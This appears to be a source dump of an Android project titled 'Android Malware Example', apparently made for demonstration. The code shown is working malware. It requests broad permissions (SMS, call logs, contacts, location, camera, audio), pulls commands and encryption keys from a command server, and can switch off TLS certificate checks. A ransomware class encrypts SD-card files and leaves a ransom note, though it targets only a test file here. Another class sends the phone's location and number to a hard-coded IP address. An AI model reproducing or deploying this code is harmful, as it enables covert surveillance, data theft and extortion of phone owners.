64 | if ( Environment.MEDIA_MOUNTED.equals(state) || Environment.MEDIA_MOUNTED_READ_ONLY.equals(state) ) { // we can read the External Storage...
65 | getAllFilesOfDir(Environment.getExternalStorageDirectory());
66 | }
67 | return myFileList;
68 |
69 | }
70 | private void getAllFilesOfDir(File directory) {
71 | if (configParams.Logging) Log.d(configParams.PROGID, "Directory: " + directory.getAbsolutePath() + "\n");
72 |
73 | final File[] files = directory.listFiles();
74 |
75 | if ( files != null ) {
76 | for ( File file : files ) {
77 | if ( file != null ) {
78 | if ( file.isDirectory() ) { // it is a folder...
79 | getAllFilesOfDir(file);
80 | }
81 | else { // it is a file...
82 | Log.d(configParams.PROGID, "File: " + file.getAbsolutePath() + "\n");
83 | myFileList.add(file.getAbsolutePath());
84 | myFileDetails.put(file.getAbsolutePath(),file);
85 | }
86 | }
87 | }
88 | }
89 | }
90 | private File getFileDetails(String path){
91 | File file = new File(path);
92 | return file;
93 | }
94 | public void SaveToFile(String _file){
95 |
96 | BufferedWriter out;
97 | File fpath = configParams.StoragePath;
98 | try {
99 |
100 | FileWriter fileWriter = new FileWriter(fpath + "/" + _file);
101 |
102 | out = new BufferedWriter(fileWriter);
103 |
104 | for (int i = 0; i < myFileList.size(); i++) {
105 | String path = myFileList.get(i);
106 | File file = (File) myFileDetails.get(path);
107 | Date lastModDate = new Date(file.lastModified());
108 | String _details = file.getName()+", "+file.getAbsolutePath() + ", " + lastModDate.toString() + ", " + file.length()+System.getProperty("line.separator");
109 | out.write(_details);
110 | }
111 |
112 | out.close();
113 | }
114 | catch (IOException e) {
115 | if (configParams.Logging) Log.e("Exception", "File write failed: " + e.toString());
116 | }
117 |
118 | }
119 | }
120 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/MainActivity.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.Manifest;
24 | import android.app.Activity;
25 | import android.app.AlertDialog;
26 | import android.content.ComponentName;
27 | import android.content.Context;
28 | import android.content.DialogInterface;
29 | import android.content.Intent;
30 | import android.content.IntentFilter;
31 | import android.content.pm.PackageManager;
32 | import android.os.StrictMode;
33 | import android.support.v4.app.ActivityCompat;
34 | import android.support.v4.content.ContextCompat;
35 | import android.support.v7.app.AppCompatActivity;
36 | import android.os.Bundle;
37 | import android.util.Log;
38 | import android.view.Menu;
39 | import android.view.View;
40 | import android.widget.Button;
41 | import android.widget.Toast;
42 |
43 |
44 |
45 | import com.burke_consulting.malwareexample.R;
46 |
47 | import java.util.ArrayList;
48 | import java.util.List;
49 |
50 | public class MainActivity extends Activity {
51 |
52 |
53 | Button BGOn;
54 | Button BGOff;
55 | Context context;
56 | ConfigParams configParams;
57 | public static MainActivity mainactivity = null;
58 | Thread thread;
59 | ComponentName _comp;
60 |
61 | @Override
62 | protected void onCreate(Bundle savedInstanceState) {
63 | super.onCreate(savedInstanceState);
64 | setContentView(R.layout.activity_main);
65 | context = this;
66 |
67 | mainactivity = this;
68 | StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
69 | StrictMode.setThreadPolicy(policy);
70 |
71 | configParams = new ConfigParams(context);
72 | BGOn = (Button) findViewById(R.id.buttonOn);
73 | BGOff = (Button) findViewById(R.id.buttonOff);
74 | final Intent _bgmain = new Intent(MainActivity.this,BGMonitor.class);
75 |
76 | final BGReceiver _bgreceiver = new BGReceiver();
77 | final IntentFilter filter = new IntentFilter();
78 | //filter.addAction("android.provider.Telephony.SMS_RECEIVED");
79 | filter.addAction("android.intent.action.BOOT_COMPLETED");
80 |
81 | BGOn.setOnClickListener(new View.OnClickListener() {
82 | @Override
83 | public void onClick(View arg0) {
84 | Toast.makeText(context, "Debug Started",Toast.LENGTH_LONG).show();
85 |
86 | // Log.d("BGMonitorActivity", "On Button Pressed");
87 | registerReceiver(_bgreceiver, filter);
88 | // ComponentName _comp = startService(new Intent(MainActivity.this,BGMonitor.class));
89 | // Log.d("BGMonitorActivity", _comp.flattenToString());
90 | // AsyncService _as = new AsyncService();
91 | // AsyncParams _asp = new AsyncParams();
92 | // _asp._context = myContext;
93 | // _asp._activity = MainActivity.this;
94 | // _as.doInBackground(_asp);
95 |
96 | thread = new Thread(new Runnable()
97 | {
98 | @Override
99 | public void run()
100 | {
101 | try
102 | {
103 |
104 | _comp = startService(_bgmain);
105 | }
106 | catch (Exception e)
107 | {
108 | e.printStackTrace();
109 | }
110 | }
111 | });
112 |
113 | thread.start();
114 |
115 | }
116 |
117 | });
118 | BGOff.setOnClickListener(new View.OnClickListener() {
119 | @Override
120 | public void onClick(View arg0) {
121 | // Log.d("BGMonitorActivity", "Off Button Pressed");
122 | Toast.makeText(context, "Debug Stopped",Toast.LENGTH_LONG).show();
123 | // boolean _bool = stopService(new Intent(MainActivity.this,BGMonitor.class));
124 | // Log.d("BGMonitorActivity", "Service Stopped:"+_bool);
125 | try{
126 | unregisterReceiver(_bgreceiver);
127 | stopService(_bgmain);
128 | thread.interrupt();
129 |
130 | } catch (Exception ex){
131 |
132 |
133 | }
134 |
135 |
136 | }
137 |
138 | });
139 |
140 |
141 | checkAllPermissions();
142 |
143 |
144 | }
145 | private boolean addPermission(List permissionsList, String permission) {
146 | if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
147 | permissionsList.add(permission);
148 | // Check for Rationale Option
149 | if (!shouldShowRequestPermissionRationale(permission))
150 | return false;
151 | }
152 | return true;
153 | }
154 | public void checkAllPermissions() {
155 |
156 | List permissionsNeeded = new ArrayList();
157 |
158 | final List permissionsList = new ArrayList();
159 | if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
160 | permissionsNeeded.add("GPS");
161 | if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS))
162 | permissionsNeeded.add("Contacts/Accounts");
163 | if (!addPermission(permissionsList, Manifest.permission.CAMERA))
164 | permissionsNeeded.add("Camera");
165 | if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
166 | permissionsNeeded.add("Location");
167 | if (!addPermission(permissionsList, Manifest.permission.RECORD_AUDIO))
168 | permissionsNeeded.add("Audio");
169 | if (!addPermission(permissionsList, Manifest.permission.READ_PHONE_STATE))
170 | permissionsNeeded.add("Phone State");
171 | if (!addPermission(permissionsList, Manifest.permission.READ_CALL_LOG))
172 | permissionsNeeded.add("Phone Logs");
173 | if (!addPermission(permissionsList, Manifest.permission.READ_SMS))
174 | permissionsNeeded.add("SMS");
175 | if (!addPermission(permissionsList, Manifest.permission.READ_EXTERNAL_STORAGE))
176 | permissionsNeeded.add("Storage");
177 |
178 |
179 | if (permissionsList.size() > 0) {
180 | if (permissionsNeeded.size() > 0) {
181 | // Need Rationale
182 | String message = "You need to grant access to " + permissionsNeeded.get(0);
183 | for (int i = 1; i < permissionsNeeded.size(); i++)
184 | message = message + ", " + permissionsNeeded.get(i);
185 | showMessageOKCancel(message,
186 | new DialogInterface.OnClickListener() {
187 | @Override
188 | public void onClick(DialogInterface dialog, int which) {
189 | requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
190 | configParams.PERMISSIONS_REQUEST_ALL);
191 | }
192 | });
193 | return;
194 | }
195 | requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
196 | configParams.PERMISSIONS_REQUEST_ALL);
197 | return;
198 | }
199 |
200 |
201 | //boolean X = checkPermissions(Manifest.permission.READ_SMS,configParams.REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
202 | }
203 |
204 | private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) {
205 | new AlertDialog.Builder(MainActivity.this)
206 | .setMessage(message)
207 | .setPositiveButton("OK", okListener)
208 | .setNegativeButton("Cancel", null)
209 | .create()
210 | .show();
211 | }
212 |
213 | public boolean checkPermissions(final String permission, final int code) {
214 |
215 | Log.d(configParams.PROGID,"Checking Permissions Granted:"+permission);
216 |
217 |
218 | if (ContextCompat.checkSelfPermission(context,
219 | permission)
220 | != PackageManager.PERMISSION_GRANTED) {
221 |
222 | Log.d(configParams.PROGID,"No Permissions");
223 | // Should we show an explanation?
224 | if (ActivityCompat.shouldShowRequestPermissionRationale(this,
225 | permission)) {
226 |
227 | Log.d(configParams.PROGID,"Requesting");
228 | showMessageOKCancel("You need to allow access to "+permission,
229 | new DialogInterface.OnClickListener() {
230 | @Override
231 | public void onClick(DialogInterface dialog, int which) {
232 | requestPermissions(new String[] {permission},
233 | code);
234 | }
235 | });
236 |
237 |
238 |
239 | return false;
240 |
241 | } else {
242 |
243 | // No explanation needed, we can request the permission.
244 | Log.d(configParams.PROGID,"No Need to Request");
245 | ActivityCompat.requestPermissions(this,
246 | new String[]{permission},
247 | code);
248 |
249 | return true;
250 | }
251 | } else {
252 | return true;
253 | }
254 | }
255 |
256 |
257 | @Override
258 | public void onRequestPermissionsResult(int requestCode,String permissions[], int[] grantResults) {
259 |
260 | if (requestCode == configParams.PERMISSIONS_REQUEST_READ_SMS) {
261 |
262 | // If request is cancelled, the result arrays are empty.
263 | if (grantResults.length > 0
264 | && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
265 |
266 | // permission was granted, yay! Do the
267 | // contacts-related task you need to do.
268 |
269 | } else {
270 |
271 | // permission denied, boo! Disable the
272 | // functionality that depends on this permission.
273 | }
274 | return;
275 |
276 |
277 | // other 'case' lines to check for other
278 | // permissions this app might request
279 | }
280 | }
281 |
282 | @Override
283 | public void onResume()
284 | {
285 | super.onResume();
286 | mainactivity = this;
287 | }
288 |
289 | @Override
290 | public void onPause()
291 | {
292 | super.onPause();
293 | mainactivity = null;
294 | }
295 |
296 | }
297 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/MyAppContext.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | /**
24 | * Created by darrylb on 12/21/16.
25 | */
26 |
27 | import android.app.Application;
28 | import android.content.Context;
29 |
30 | public class MyAppContext extends Application {
31 | private Context context;
32 |
33 | public Context getContext() { return context; }
34 |
35 | public void setContext(Context context_) { context = context_; }
36 |
37 | public void onCreate(){
38 | super.onCreate();
39 | this.context = getApplicationContext();
40 | }
41 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/NetworkHandler.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 | import android.content.Context;
23 | import android.net.Uri;
24 | import android.util.Log;
25 |
26 |
27 | import java.io.BufferedInputStream;
28 | import java.io.BufferedReader;
29 | import java.io.BufferedWriter;
30 | import java.io.InputStream;
31 | import java.io.InputStreamReader;
32 | import java.io.OutputStream;
33 | import java.io.OutputStreamWriter;
34 | import java.net.HttpURLConnection;
35 | import java.net.Socket;
36 | import java.net.URL;
37 | import java.security.KeyStore;
38 | import java.security.SecureRandom;
39 | import java.security.cert.Certificate;
40 | import java.security.cert.CertificateException;
41 | import java.security.cert.CertificateFactory;
42 | import java.security.cert.X509Certificate;
43 | import java.util.ArrayList;
44 | import java.util.HashMap;
45 | import java.util.List;
46 |
47 | import javax.net.ssl.HostnameVerifier;
48 | import javax.net.ssl.HttpsURLConnection;
49 | import javax.net.ssl.KeyManagerFactory;
50 | import javax.net.ssl.SSLContext;
51 | import javax.net.ssl.SSLSession;
52 | import javax.net.ssl.TrustManagerFactory;
53 | import javax.net.ssl.X509TrustManager;
54 |
55 | /**
56 | * Created by darrylb on 10/2/16.
57 | */
58 | public class NetworkHandler {
59 |
60 |
61 | private Context context;
62 | private ConfigParams configParams;
63 |
64 |
65 | public NetworkHandler(Context _context){
66 | context = _context;
67 | configParams = new ConfigParams(context);
68 | }
69 |
70 |
71 |
72 | public String getRemoteEncKey() {
73 | return (SendCommand("getEncKey.php"));
74 | }
75 | public String getCommands() {
76 | return (SendCommand("getCommands.php"));
77 | }
78 |
79 | public String SendCommand(String command) {
80 | String response="";
81 | try {
82 | URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + command);
83 | Uri.Builder builder = new Uri.Builder()
84 | .appendQueryParameter("DeviceID", configParams.UniqueID);
85 | String query = builder.build().getEncodedQuery();
86 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
87 | //create code to trust a self signed cert
88 | // Note you need the pem/crt file to be in the App config to trust it
89 | if (configParams.SelfSigned)
90 | setUpHttpsConnection(query);
91 |
92 |
93 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
94 | //trust all certs !!! Warning Dangerous
95 |
96 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
97 | public boolean verify(String hostname, SSLSession session) {
98 | return true;
99 | }});
100 | SSLContext context = SSLContext.getInstance("TLS");
101 | context.init(null, new X509TrustManager[]{new X509TrustManager(){
102 | public void checkClientTrusted(X509Certificate[] chain,
103 | String authType) throws CertificateException {}
104 | public void checkServerTrusted(X509Certificate[] chain,
105 | String authType) throws CertificateException {}
106 | public X509Certificate[] getAcceptedIssuers() {
107 | return new X509Certificate[0];
108 | }}}, new SecureRandom());
109 | HttpsURLConnection.setDefaultSSLSocketFactory(
110 | context.getSocketFactory());
111 |
112 | }
113 |
114 | HttpURLConnection conn = (HttpURLConnection) url.openConnection();
115 | conn.setReadTimeout(10000);
116 | conn.setConnectTimeout(15000);
117 | conn.setRequestMethod("POST");
118 | conn.setDoInput(true);
119 | conn.setDoOutput(true);
120 |
121 |
122 |
123 | OutputStream os = conn.getOutputStream();
124 | BufferedWriter writer = new BufferedWriter(
125 | new OutputStreamWriter(os, "UTF-8"));
126 | writer.write(query);
127 | writer.flush();
128 | writer.close();
129 | os.close();
130 | int responseCode=conn.getResponseCode();
131 |
132 | if (responseCode == HttpsURLConnection.HTTP_OK) {
133 | String line;
134 | BufferedReader br=new BufferedReader(new InputStreamReader(conn.getInputStream()));
135 | while ((line=br.readLine()) != null) {
136 | response+=line;
137 | }
138 | }
139 | else {
140 | response="Error";
141 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler:"+responseCode);
142 | }
143 | conn.connect();
144 | } catch ( Exception ex){
145 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler:"+ex.toString());
146 | }
147 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler Returned:["+response+"]");
148 | return response;
149 |
150 | }
151 |
152 |
153 |
154 | public void setUpHttpsConnection(String urlString)
155 | {
156 | try
157 | {
158 | // Load CAs from an InputStream
159 | // (could be from a resource or ByteArrayInputStream or ...)
160 | CertificateFactory cf = CertificateFactory.getInstance("X.509");
161 |
162 | InputStream caInput = new BufferedInputStream(context.getAssets().open("serverlc.crt"));
163 | Certificate ca = cf.generateCertificate(caInput);
164 | if (configParams.Logging) Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN());
165 |
166 | // Create a KeyStore containing our trusted CAs
167 | String keyStoreType = KeyStore.getDefaultType();
168 | KeyStore keyStore = KeyStore.getInstance(keyStoreType);
169 | keyStore.load(null, null);
170 | keyStore.setCertificateEntry("ca", ca);
171 |
172 | // Create a TrustManager that trusts the CAs in our KeyStore
173 | String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
174 | TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
175 | tmf.init(keyStore);
176 |
177 | // Create an SSLContext that uses our TrustManager
178 | SSLContext context = SSLContext.getInstance("TLS");
179 | context.init(null, tmf.getTrustManagers(), null);
180 |
181 |
182 | // Tell the URLConnection to use a SocketFactory from our SSLContext
183 |
184 | HttpsURLConnection.setDefaultSSLSocketFactory(
185 | context.getSocketFactory());
186 |
187 | }
188 | catch (Exception ex)
189 | {
190 |
191 | if (configParams.Logging) Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager");
192 | }
193 | }
194 |
195 |
196 | }
197 |
198 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/PhoneInfo.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 | public class PhoneInfo {
23 | public String PhoneNumber;
24 | public boolean Location;
25 | public int Duration;
26 | }
27 |
28 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/Ransomware.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.os.Environment;
25 | import android.util.Log;
26 |
27 | import java.io.File;
28 | import java.io.FileWriter;
29 | import java.util.List;
30 |
31 | /**
32 | * Created by darrylb on 12/20/16.
33 | * This class is an example ransomware class that encrypts files on the SD card based on the encryption key sent in the command to the device (yes I know that sending the key to the client is not secure
34 | * but it's only an example of doing it.. in real life the key should be generated from the client and sent to the server to storage)
35 | *
36 | */
37 |
38 | public class Ransomware {
39 |
40 | String root_sd = Environment.getExternalStorageDirectory().toString();
41 | Context context;
42 | ConfigParams params;
43 | String EncKey;
44 | FileUtils fileutils;
45 |
46 | public Ransomware(Context _context,ConfigParams _params, String _EncKey){
47 |
48 | context = _context;
49 | params = _params;
50 | EncKey = _EncKey;
51 | fileutils = new FileUtils(context);
52 | if (params.Debug){
53 | try {
54 | //creates a test file to ransom rather then real files
55 | File testfile = new File(root_sd, "test.AAAAAA");
56 | FileWriter writer = new FileWriter(testfile);
57 | writer.append("Ransom me off to the highest bidder");
58 | writer.flush();
59 | writer.close();
60 | } catch (Exception ex) {
61 | Log.d(params.PROGID,"Unable to create test ransom file");
62 | }
63 | }
64 | }
65 |
66 | public void createWarning() {
67 |
68 | try {
69 | //put a readme file down to warn the user of the device
70 | File testfile = new File(root_sd, "README_RANSOMWARE.txt");
71 | FileWriter writer = new FileWriter(testfile);
72 | writer.append("Your files have been encrypted and are being held for ransom. Contact John Doe @ youoweme.com");
73 | writer.flush();
74 | writer.close();
75 | } catch (Exception ex) {
76 |
77 | }
78 | }
79 | //Encrypt the SD card contents
80 | public void encrypt(){
81 | ListSDFiles sdfiles = new ListSDFiles(context);
82 | List files = sdfiles.getAllFiles();
83 |
84 | for (String file : files) {
85 | //don't encrypt files already encryped or the README file
86 | if (file.endsWith(".enc") || file.endsWith("README_RANSOMWARE.txt")){
87 | //already encrypted ignore
88 | }else {
89 | if (file.endsWith("test.AAAAAA")) {
90 | if (params.Logging)
91 | Log.d(params.PROGID, "Ransoming File:[" + EncKey + "]:[" + file + "]");
92 | //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;)
93 | fileutils.EncryptFile(root_sd + "/", file.replace(root_sd + "/", ""), EncKey);
94 | // File sdfile = new File(file);
95 | // boolean deleted = sdfile.delete();
96 | }
97 | }
98 | }
99 |
100 |
101 |
102 | }
103 | //
104 | public void decrypt() {
105 | ListSDFiles sdfiles = new ListSDFiles(context);
106 | List files = sdfiles.getAllFiles();
107 |
108 | for (String file : files) {
109 | if (file.endsWith(".enc")){
110 | if (file.endsWith("test.AAAAAA.enc")){
111 | if (params.Logging) Log.d(params.PROGID, "Freeing File:"+EncKey+"]:["+file+"]");
112 | //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;)
113 | // File sdfile = new File(file);
114 | // boolean deleted = sdfile.delete();
115 | }
116 |
117 | }
118 |
119 | }
120 |
121 |
122 | }
123 | }
124 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/SMSLogHelper.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.ContentResolver;
24 | import android.database.Cursor;
25 | import android.net.Uri;
26 |
27 | /**
28 | * Created by darrylb on 10/3/16.
29 | */
30 | public class SMSLogHelper {
31 |
32 |
33 | }
34 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/SMSReceiver.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.BroadcastReceiver;
24 | import android.content.Context;
25 | import android.content.Intent;
26 | import android.os.Bundle;
27 | import android.telephony.SmsManager;
28 | import android.telephony.SmsMessage;
29 | import android.util.Log;
30 |
31 | /**
32 | * Created by darrylb on 10/4/16.
33 | */
34 |
35 |
36 | public class SMSReceiver extends BroadcastReceiver {
37 |
38 | Context context;
39 | ConfigParams configParams;
40 | public SMSReceiver(Context _context) {
41 | context = _context;
42 | configParams = new ConfigParams(context);
43 | }
44 | public SMSReceiver() {
45 |
46 |
47 | }
48 | @Override
49 | public void onReceive(Context _context, Intent intent) {
50 | // TODO Auto-generated method stub
51 | if (context == null){
52 | context = _context;
53 | configParams = new ConfigParams(context);
54 |
55 | }
56 | if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){
57 | Bundle bundle = intent.getExtras(); //---get the SMS message passed in---
58 | SmsMessage[] msgs = null;
59 | String msg_from;
60 | if (bundle != null){
61 | //---retrieve the SMS message received---
62 | try{
63 | Object[] pdus = (Object[]) bundle.get("pdus");
64 | msgs = new SmsMessage[pdus.length];
65 | for(int i=0; i.
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import java.util.HashMap;
24 |
25 | public class SampleGattAttributes {
26 | private static HashMap attributes = new HashMap();
27 | public static String HEART_RATE_MEASUREMENT = "00002a37-0000-1000-8000-00805f9b34fb";
28 | public static String CLIENT_CHARACTERISTIC_CONFIG = "00002902-0000-1000-8000-00805f9b34fb";
29 |
30 | static {
31 | // Sample Services.
32 | attributes.put("0000180d-0000-1000-8000-00805f9b34fb", "Heart Rate Service");
33 | attributes.put("0000180a-0000-1000-8000-00805f9b34fb", "Device Information Service");
34 | // Sample Characteristics.
35 | attributes.put(HEART_RATE_MEASUREMENT, "Heart Rate Measurement");
36 | attributes.put("00002a29-0000-1000-8000-00805f9b34fb", "Manufacturer Name String");
37 | }
38 |
39 | public static String lookup(String uuid, String defaultName) {
40 | String name = attributes.get(uuid);
41 | return name == null ? defaultName : name;
42 | }
43 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/WritePhoneInfo.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.util.Log;
24 |
25 | import java.io.BufferedReader;
26 | import java.io.InputStreamReader;
27 | import java.net.HttpURLConnection;
28 | import java.net.URL;
29 | import java.text.SimpleDateFormat;
30 | import java.util.Date;
31 |
32 |
33 | import java.io.BufferedInputStream;
34 | import java.io.BufferedReader;
35 | import java.io.IOException;
36 | import java.io.InputStream;
37 | import java.io.InputStreamReader;
38 | import java.io.Reader;
39 | import java.net.HttpURLConnection;
40 | import java.net.URI;
41 | import java.net.URL;
42 | import java.net.URLEncoder;
43 | import java.text.SimpleDateFormat;
44 | import java.util.Date;
45 |
46 |
47 | import android.util.Log;
48 |
49 | public class WritePhoneInfo {
50 |
51 | public void SavePhoneLocation(String _lat, String _lon, String Phone){
52 | Date today = new Date();
53 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
54 | SimpleDateFormat sdt = new SimpleDateFormat("HH:mm");
55 | String formattedDate = sdf.format(today);
56 | String formattedTime = sdt.format(today);
57 | if (_lat.equals("9999.0"))
58 | return;
59 |
60 |
61 | String myURL="http://209.91.186.30/save.php?lat="+_lat+"&lon="+_lon+"&phone="+Phone+"&date="+formattedDate+"&time="+formattedTime;
62 |
63 |
64 |
65 | StringBuilder stringBuilder = new StringBuilder("http://209.91.186.30/save.php");
66 | stringBuilder.append("?lat="+_lat);
67 | stringBuilder.append("&lon="+_lon);
68 | stringBuilder.append("&phone="+Phone);
69 | stringBuilder.append("&date="+formattedDate);
70 | stringBuilder.append("&time="+formattedTime);
71 |
72 | try {
73 |
74 | URL obj = new URL(stringBuilder.toString());
75 |
76 | HttpURLConnection con = (HttpURLConnection) obj.openConnection();
77 | con.setRequestMethod("GET");
78 |
79 | con.setRequestProperty("Accept-Charset", "UTF-8");
80 |
81 | // System.out.println("\nSending request to URL : " + stringBuilder);
82 | // System.out.println("Response Code : " + con.getResponseCode());
83 | // System.out.println("Response Message : " + con.getResponseMessage());
84 |
85 | BufferedReader in = new BufferedReader(
86 | new InputStreamReader(con.getInputStream()));
87 | String line;
88 | StringBuffer response = new StringBuffer();
89 |
90 | while ((line = in.readLine()) != null) {
91 | response.append(line);
92 | }
93 | in.close();
94 |
95 | // System.out.println(response.toString());
96 | con.disconnect();
97 |
98 | } catch (Exception ex){
99 | Log.d("BGMonitor_WritePhone",ex.toString());
100 | }
101 |
102 |
103 | }
104 |
105 | }
106 |
